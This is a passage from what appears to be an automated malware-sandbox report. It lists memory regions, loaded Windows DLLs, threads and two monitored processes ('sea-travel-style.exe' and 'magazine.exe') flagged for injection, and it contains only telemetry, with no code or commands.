(normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3338 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3339 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3340 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3341 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3342 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3343 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3344 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3345 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3346 start_va = 0x7e9d0000 end_va = 0x7eacffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e9d0000" filename = "" Region: id = 3347 start_va = 0x7ead0000 end_va = 0x7eaf2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ead0000" filename = "" Region: id = 3348 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3349 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3350 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3351 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3352 start_va = 0x1f0000 end_va = 0x1f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3353 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 3354 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3355 start_va = 0x510000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 3356 start_va = 0x1fd0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 3357 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 3358 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5976 start_va = 0x4e0000 end_va = 0x4e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 5977 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 5978 start_va = 0x20d0000 end_va = 0x2406fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 179 os_tid = 0xdb0 Thread: id = 180 os_tid = 0xd90 Thread: id = 354 os_tid = 0x1140 Process: id = "19" image_name = "sea-travel-style.exe" filename = "c:\\program files (x86)\\msbuild\\sea-travel-style.exe" page_root = "0x7ef000" os_pid = "0xdd0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\MSBuild\\sea-travel-style.exe\" " cur_dir = "C:\\Program Files (x86)\\MSBuild\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5755 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5756 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5757 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5758 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5759 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5760 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5761 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5762 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5763 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5764 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5765 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5766 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 5767 start_va = 0x5f0000 end_va = 0x777fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 5768 start_va = 0x780000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 5769 start_va = 0xcc0000 end_va = 0xcc3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 5770 start_va = 0xcd0000 end_va = 0xce6fff monitored = 0 entry_point = 0xcd14a1 region_type = mapped_file name = "sea-travel-style.exe" filename = "\\Program Files (x86)\\MSBuild\\sea-travel-style.exe" (normalized: "c:\\program files (x86)\\msbuild\\sea-travel-style.exe") Region: id = 5771 start_va = 0xcf0000 end_va = 0xcf3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 5772 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 5773 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 5774 start_va = 0xf00000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f00000" filename = "" Region: id = 5775 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5776 start_va = 0x23c0000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 5777 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5778 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5779 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5780 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5781 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5782 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5783 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5784 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5785 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5786 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5787 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5788 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5789 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5790 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5791 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5792 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5793 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5794 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5795 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5796 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5797 start_va = 0x7e830000 end_va = 0x7e92ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e830000" filename = "" Region: id = 5798 start_va = 0x7e930000 end_va = 0x7e952fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e930000" filename = "" Region: id = 5799 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5800 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5801 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5802 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5803 start_va = 0xd00000 end_va = 0xd03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 5804 start_va = 0xd10000 end_va = 0xd10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 5805 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5806 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5807 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 5808 start_va = 0xd20000 end_va = 0xd20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 5809 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5810 start_va = 0xd30000 end_va = 0xd30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 5811 start_va = 0xd60000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 5812 start_va = 0x2480000 end_va = 0x27b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 181 os_tid = 0xde0 Thread: id = 182 os_tid = 0xdd4 Thread: id = 394 os_tid = 0x960 Process: id = "20" image_name = "magazine.exe" filename = "c:\\program files (x86)\\mozilla firefox\\magazine.exe" page_root = "0x3873000" os_pid = "0xd54" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\magazine.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3130 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3131 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3132 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3133 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3134 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3135 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3136 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3137 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3138 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3139 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3140 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3141 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3142 start_va = 0x600000 end_va = 0x603fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3143 start_va = 0x610000 end_va = 0x613fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 3144 start_va = 0x620000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 3145 start_va = 0x720000 end_va = 0x8a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 3146 start_va = 0x8b0000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 3147 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 3148 start_va = 0xab0000 end_va = 0xac6fff monitored = 0 entry_point = 0xab14a1 region_type = mapped_file name = "magazine.exe" filename = "\\Program Files (x86)\\Mozilla Firefox\\magazine.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\magazine.exe") Region: id = 3149 start_va = 0xad0000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 3150 start_va = 0x1ed0000 end_va = 0x1f8bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 3151 start_va = 0x2050000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3152 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3153 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3154 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3155 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3156 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3157 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3158 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3159 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3160 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3161 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3162 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3163 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3164 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3165 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3166 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3167 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3168 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3169 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3170 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3171 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3172 start_va = 0x7e960000 end_va = 0x7ea5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e960000" filename = "" Region: id = 3173 start_va = 0x7ea60000 end_va = 0x7ea82fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ea60000" filename = "" Region: id = 3174 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3175 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3176 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3177 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3178 start_va = 0xa40000 end_va = 0xa43fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 3179 start_va = 0xa50000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 3180 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3181 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3182 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3183 start_va = 0xa60000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 3184 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = 